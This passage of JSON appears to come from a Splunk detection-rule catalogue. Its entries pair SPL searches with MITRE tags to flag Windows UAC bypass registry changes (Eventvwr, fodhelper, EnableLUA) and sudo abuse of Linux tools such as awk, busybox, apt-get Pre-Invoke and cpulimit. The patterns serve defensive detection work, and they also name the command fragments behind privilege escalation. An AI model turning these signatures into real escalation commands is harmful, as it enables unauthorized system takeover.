Search_Activity.search_type | `drop_dm_object_name(Search_Activity)` | lookup splunk_risky_command splunk_risky_command as search output splunk_risky_command description vulnerable_versions CVE other_metadata | where splunk_risky_command != \"false\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_risky_command_abuse_disclosed_february_2023_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Splunk Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "splunk_risky_command", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Use of risky splunk command $splunk_risky_command$ detected by $user$", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1202", - "mitre_attack_technique": "Indirect Command Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Allow Operation with Consent Admin", - "description": "The following analytic detects a registry modification that allows the 'Consent Admin' to perform operations requiring elevation without user consent or credentials. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the 'ConsentPromptBehaviorAdmin' value within the Windows Policies System registry path. This activity is significant as it indicates a potential privilege escalation attempt, which could allow an attacker to execute high-privilege tasks without user approval. If confirmed malicious, this could lead to unauthorized administrative access and control over the compromised machine, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System*\" Registry.registry_value_name = ConsentPromptBehaviorAdmin Registry.registry_value_data = \"0x00000000\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.dest Registry.user | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `allow_operation_with_consent_admin_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious registry modification was performed on endpoint $dest$ by user $user$. This behavior is indicative of privilege escalation.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Disable UAC Remote Restriction", - "description": "The following analytic detects the modification of the registry to disable UAC remote restriction by setting the \"LocalAccountTokenFilterPolicy\" value to \"0x00000001\". It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\CurrentVersion\\\\Policies\\\\System*\". This activity is significant because disabling UAC remote restriction can allow an attacker to bypass User Account Control (UAC) protections, potentially leading to privilege escalation. If confirmed malicious, this could enable an attacker to execute unauthorized actions with elevated privileges, compromising the security of the affected system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\CurrentVersion\\\\Policies\\\\System*\" Registry.registry_value_name=\"LocalAccountTokenFilterPolicy\" Registry.registry_value_data=\"0x00000001\" ) BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_uac_remote_restriction_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Suspicious Windows Registry Activities", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Disabling Remote User Account Control", - "description": "The following analytic identifies modifications to the registry key that controls the enforcement of Windows User Account Control (UAC). It detects changes to the registry path `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA` where the value is set to `0x00000000`. This activity is significant because disabling UAC can allow unauthorized changes to the system without user consent, potentially leading to privilege escalation. If confirmed malicious, an attacker could gain elevated privileges, making it easier to execute further attacks or maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path=*HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\EnableLUA* Registry.registry_value_data=\"0x00000000\" by Registry.dest, Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action | `drop_dm_object_name(Registry)` | `disabling_remote_user_account_control_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Azorult", - "Remcos", - "Suspicious Windows Registry Activities", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows registry keys that control the enforcement of Windows User Account Control (UAC) were modified on $dest$ by $user$.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Eventvwr UAC Bypass", - "description": "The following analytic detects an Eventvwr UAC bypass by identifying suspicious registry modifications in the path that Eventvwr.msc references upon execution. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on registry changes and process execution details. This activity is significant because it indicates a potential privilege escalation attempt, allowing an attacker to execute arbitrary commands with elevated privileges. If confirmed malicious, this could lead to unauthorized code execution, persistence, and further compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*mscfile\\\\shell\\\\open\\\\command\\\\*\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `eventvwr_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Registry values were modified to bypass UAC using Event Viewer on $dest$ by $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "FodHelper UAC Bypass", - "description": "The following analytic detects the execution of fodhelper.exe, which is known to exploit a User Account Control (UAC) bypass by leveraging specific registry keys. The detection method uses Endpoint Detection and Response (EDR) telemetry to identify when fodhelper.exe spawns a child process and accesses the registry keys. This activity is significant because it indicates a potential privilege escalation attempt by an attacker. If confirmed malicious, the attacker could execute commands with elevated privileges, leading to unauthorized system changes and potential full system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=fodhelper.exe by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `fodhelper_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious registy keys added by process fodhelper.exe with a parent_process of $parent_process_name$ that has been executed on $dest$ by $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux apt-get Privilege Escalation", - "description": "The following analytic detects the execution of the 'apt-get' command with elevated privileges using 'sudo' on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it indicates a user may be attempting to escalate privileges to root, which could lead to unauthorized system control. If confirmed malicious, an attacker could gain root access, allowing them to execute arbitrary commands, install or remove software, and potentially compromise the entire system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*apt-get*\" AND Processes.process=\"*APT::Update::Pre-Invoke::*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_apt_get_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux APT Privilege Escalation", - "description": "The following analytic detects the use of the Advanced Package Tool (APT) with elevated privileges via sudo on Linux systems. It leverages Endpoint Detection and Response (EDR) telemetry to identify processes where APT commands are executed with sudo rights. This activity is significant because it indicates a user can run system commands as root, potentially leading to unauthorized root shell access. If confirmed malicious, this could allow an attacker to escalate privileges, execute arbitrary commands, and gain full control over the affected system, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*apt*\" AND Processes.process=\"*APT::Update::Pre-Invoke::*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_apt_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux AWK Privilege Escalation", - "description": "The following analytic detects the use of the AWK command with elevated privileges to execute system commands. It leverages Endpoint Detection and Response (EDR) telemetry, specifically monitoring processes that include \"sudo,\" \"awk,\" and \"BEGIN*system\" in their command lines. This activity is significant because it indicates a potential privilege escalation attempt, where a user could gain root access by executing commands as the root user. If confirmed malicious, this could allow an attacker to fully compromise the system, execute arbitrary commands, and maintain persistent control over the affected endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*sudo*\" AND Processes.process=\"*awk*\" AND Processes.process=\"*BEGIN*system*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_awk_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Busybox Privilege Escalation", - "description": "The following analytic detects the execution of BusyBox with sudo privileges, which can lead to privilege escalation on Linux systems. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where BusyBox is executed with both 'sh' and 'sudo' commands. This activity is significant because it indicates a user may be attempting to gain root access, bypassing standard security controls. If confirmed malicious, this could allow an attacker to execute arbitrary commands as root, leading to full system compromise and potential persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*busybox*\" AND Processes.process=\"*sh*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_busybox_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux c89 Privilege Escalation", - "description": "The following analytic detects the execution of the 'c89' command with elevated privileges, which can be used to compile and execute C programs as root. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events that include command-line arguments. This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to execute arbitrary commands as root. If confirmed malicious, this could lead to full system compromise, enabling the attacker to gain root access and execute any command with elevated privileges.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*c89*\" AND Processes.process=\"*-wrapper*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_c89_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux c99 Privilege Escalation", - "description": "The following analytic detects the execution of the c99 utility with sudo privileges, which can lead to privilege escalation on Linux systems. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it indicates a potential misuse of the c99 utility to gain root access, which is critical for maintaining system security. If confirmed malicious, this could allow an attacker to execute commands as root, potentially compromising the entire system and accessing sensitive information.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*c99*\" AND Processes.process=\"*-wrapper*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_c99_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Common Process For Elevation Control", - "description": "The following analytic identifies the execution of common Linux processes used for elevation control, such as `chmod`, `chown`, and `setuid`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because these processes are often abused by adversaries to gain persistence or escalate privileges on compromised hosts. If confirmed malicious, this behavior could allow attackers to modify file attributes, change file ownership, or set user IDs, potentially leading to unauthorized access and control over critical system resources.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"chmod\", \"chown\", \"fchmod\", \"fchmodat\", \"fchown\", \"fchownat\", \"fremovexattr\", \"fsetxattr\", \"lchown\", \"lremovexattr\", \"lsetxattr\", \"removexattr\", \"setuid\", \"setgid\", \"setreuid\", \"setregid\", \"chattr\") OR Processes.process IN (\"*chmod *\", \"*chown *\", \"*fchmod *\", \"*fchmodat *\", \"*fchown *\", \"*fchownat *\", \"*fremovexattr *\", \"*fsetxattr *\", \"*lchown *\", \"*lremovexattr *\", \"*lsetxattr *\", \"*removexattr *\", \"*setuid *\", \"*setgid *\", \"*setreuid *\", \"*setregid *\", \"*setcap *\", \"*chattr *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_common_process_for_elevation_control_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ with process $process_name$ on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.001", - "mitre_attack_technique": "Setuid and Setgid", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Composer Privilege Escalation", - "description": "The following analytic detects the execution of the Composer tool with elevated privileges on a Linux system. It identifies instances where Composer is run with the 'sudo' command, allowing the user to execute system commands as root. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant because it can indicate an attempt to escalate privileges, potentially leading to unauthorized root access. If confirmed malicious, an attacker could gain full control over the system, execute arbitrary commands, and compromise sensitive data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*composer*\" AND Processes.process=\"*run-script*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_composer_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Cpulimit Privilege Escalation", - "description": "The following analytic detects the use of the 'cpulimit' command with specific flags ('-l', '-f') executed with 'sudo' privileges. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line arguments and execution details. This activity is significant because if 'cpulimit' is granted sudo rights, a user can potentially execute system commands as root, leading to privilege escalation. If confirmed malicious, this could allow an attacker to gain root access, execute arbitrary commands, and fully compromise the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*cpulimit*\" AND Processes.process=\"*-l*\" AND Processes.process=\"*-f*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_cpulimit_privilege_escalation_filter`", - "tags": { - 